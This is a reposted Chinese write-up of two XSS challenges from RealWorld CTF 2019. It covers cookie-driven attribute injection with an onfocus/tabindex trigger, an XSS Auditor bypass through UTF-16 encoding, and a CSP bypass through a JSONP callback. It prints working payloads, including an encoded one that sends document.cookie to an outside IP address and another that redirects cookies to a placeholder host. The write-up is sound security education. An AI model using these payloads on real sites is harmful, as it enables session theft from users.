1. 威客安全首页
  2. 安全资讯

RealWorld CTF2019 两道XSS-Web题解

RealWorld CTF2019 两道XSS-Web题解

 

赛题好难我好菜,其中还有一个是比赛结束复现出来的。这里写一下两道XSS的解题思路,还有一道是P神出的关于Scrapy爬虫框架的RCE,但是赛后听说是最新版本的Scrapy,等着看官方Wp的解法。

 

Mission Invisible

题目上来把代码全部给出来了,一段js并且告诉我们有两个隐藏的点

<script>
    var getUrlParam = function (name) {
        var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
        var r = unescape(window.location.search.substr(1)).match(reg);
        if (r != null) return r[2];
        return null;
    }

    function setCookie(name, value) {
        var Days = 30;
        var exp = new Date();
        exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 30);
        document.cookie = name + "=" + value + ";expires=" + exp.toGMTString();
    }

    function getCookie(name) {
        var search = name + "="
        var offset = document.cookie.indexOf(search)
        if (offset != -1) {
            offset += search.length;
            var end = document.cookie.indexOf(";", offset);
            if (end == -1) {
                end = document.cookie.length;
            }
            return unescape(document.cookie.substring(offset, end));
        }
        else return "";
    }

    function setElement(tag) {
        tag = tag.substring(0, 1);
        var ele = document.createElement(tag)
        var attrs = getCookie("attrs").split("&");
        for (var i = 0; i < attrs.length; i++) {
            var key = attrs[i].split("=")[0];
            var value = attrs[i].split("=")[1];
            ele.setAttribute(key, value);
        }
        document.body.appendChild(ele);
    }

    var tag = getUrlParam("tag");
    setCookie("tag", tag);
    setElement(tag);

</script>

重点在这个setElement函数,通过tag.substring(0, 1)创建一个dom事件,然后从cookie种取出attrs属性进行标签属性的赋值。接下来追一下cookie是怎么入库的

var tag = getUrlParam("tag");
setCookie("tag", tag);

追到函数不难发现是tag传参进去的,并且在getcookie函数中只截取了”attrs=”的后面的值,那么我们就可以在value里插入attrs的值。

RealWorld CTF2019 两道XSS-Web题解

所以现在的难点就在于怎么构造一个标签,在浏览器解析的时候自动触发XSS。由于tag = tag.substring(0, 1);这段代码,使得我们现在能用的标签只有a、p。

最初我的想法是污染原型链,在循环遍历attrs的时候:

第一次key = __proto__.ele  & value = document.createElement(“script”)

第二次 key = src  & value = evil.com

但是尝试了一下发现这样并不能够成功污染,因为我们已经定义了ele这个变量。那只能从a、p标签下手,这里@LFY师傅想到一个很好的方法

RealWorld CTF2019 两道XSS-Web题解

<p onfocus="alert(document.cookie)" id="1" tabindex="0"></p>

我们可以通过tableindex使标签可聚焦,只需要在url后面跟一个锚点指向标签id,类似于#1,这样聚焦时触发onfocus,效果就等效于自动触发xss。

http://52.52.236.217:16401/?tag=a%3d1attrs%3donmouserover%3d1%2526onfocus%3dalert(1)%2526id%3d1%2526tabindex%3d0#1

RealWorld CTF2019 两道XSS-Web题解

接着就是常规打cookie到本地

http://52.52.236.217:16401/?tag=a=attrs=onmouseover=1%2526onfocus=eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,49,51,57,46,49,57,57,46,50,48,51,46,50,53,51,58,49,50,51,52,47,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))%2526id=1%2526tabindex=0#1

 

Hcorme

题目说明

首先题目有一个callback的接口,能够把请求参数输出,并且是text/html形式。这点其实在日常的web应用种并不多见,大多数callback的mime都是javascript

RealWorld CTF2019 两道XSS-Web题解

于此同时题目有两个难点需要bypass:

  • XSS Auditor的限制
    RealWorld CTF2019 两道XSS-Web题解
  • CSP的限制
    Content-Security-Policy: default-src 'self'; object-src 'none'; base-uri 'none';
    

解题思路

先着眼xss auditor这个点,在Chrome78以后XSS-Auditor被Chrome自家砍掉了,虽然auditor曾是不少xsser在面对反射性XSS时候的难题,但随着bypass的方法也日益增多,auditor的弊远远大于利:因为auditor在触发的时候会删除恶意输入,之前我博客中有一篇文章前端全局变量劫持,就能够利用Auditor达到变量劫持的目的。

于此同时Bypass auditor也算是出题人给我们的Hint。

当时我的思路是用字符集去bypass,也就是下面这种思路

RealWorld CTF2019 两道XSS-Web题解

因为auditor的核心思路就是拿浏览器的渲染和我们的输入做比较,不相符则不会被Check。不过chrome77已经不存在iso-2022-jp这种绕过的方法。接下来我们看一下Hardold师傅的思路—>utf-16编码绕过

这里串一个编码的知识点,通常我们看到%xx%xx这类的url编码,其实是用16进制表示的,比如utf-8编码形式如下

>>> from urllib.parse import quote,unquote
>>> print(quote(('猪').encode('utf-8')))
>>> %E7%8C%AA

那么”猪”这个字在utf-8编码下就是0xe7 0x8c 0xaa,下面我们来看一下utf-16编码下的”猪”怎么表示

>>> from urllib.parse import quote,unquote
>>> print(quote(('猪').encode('utf-16')))
>>> %FF%FE%2As

这时会发现,用utf-16无论编码什么字符,前两个字节都是`0xff0xfe

RealWorld CTF2019 两道XSS-Web题解

因为在UTF-16文件的开首,都会放置一个U+FEFF字符作为Byte Order Mark(UTF-16LE以FF FE代表,UTF-16BE以FE FF代表),以显示这个文本文件是以UTF-16编码,它是个没有宽度也没有断字的空白。

此时我们来尝试一下能否Bypass XSS Auditor

>>> print(quote(('<script>alert(1)</script>').encode('utf-16')))

%FF%FE%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00%28%001%00%29%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00

RealWorld CTF2019 两道XSS-Web题解

成功插入标签,接下来到了第二步,Bypass CSP。因为锁了default-src又没有给unsafe-inline,但是题目有一个jsonp的点,不难想到今年的那道ins’hack 2019/的bypasses-everywhere

这篇文章的大意相当于利用jsonp直接把js代码”挂载”到本地的script标签里面,从而导致的bypass。那么我们编写一个demo看看

>>> print(quote(('<script/src=?callback=alert(1)></script>').encode('utf-16')))

%FF%FE%3C%00s%00c%00r%00i%00p%00t%00/%00s%00r%00c%00%3D%00%3F%00c%00a%00l%00l%00b%00a%00c%00k%00%3D%00a%00l%00e%00r%00t%00%28%001%00%29%00%3E%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00

可以看到进行了两次资源请求,第二次的资源的执行类型是script

RealWorld CTF2019 两道XSS-Web题解

接着就是把flag打到自己的本地就行了

>>> print(quote(("<script/src=?callback=window.location='http://xxx/?'%2bdocument.cookie%0a//></script>").encode('utf-16')))

%FF%FE%3C%00s%00c%00r%00i%00p%00t%00/%00s%00r%00c%00%3D%00%3F%00c%00a%00l%00l%00b%00a%00c%00k%00%3D%00w%00i%00n%00d%00o%00w%00.%00l%00o%00c%00a%00t%00i%00o%00n%00%3D%00%27%00h%00t%00t%00p%00%3A%00/%00/%00x%00x%00x%00/%00%3F%00%27%00%25%002%00b%00d%00o%00c%00u%00m%00e%00n%00t%00.%00c%00o%00o%00k%00i%00e%00%25%000%00a%00/%00/%00%3E%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00

 

比赛总结

赛题质量真心高,膜Harlold师傅,日常拿0day打比赛..orz

原文链接:https://www.anquanke.com/post/id/186707

本站声明:网站内容来源于安全客,如有侵权,请联系我们,我们将及时处理。

本文转为转载文章,本文观点不代表威客安全立场。

联系我们

4006-119-120

在线咨询:点击这里给我发消息

邮件:public@jinlongsec.com

工作时间:周一至周五,9:30-18:30,节假日休息

X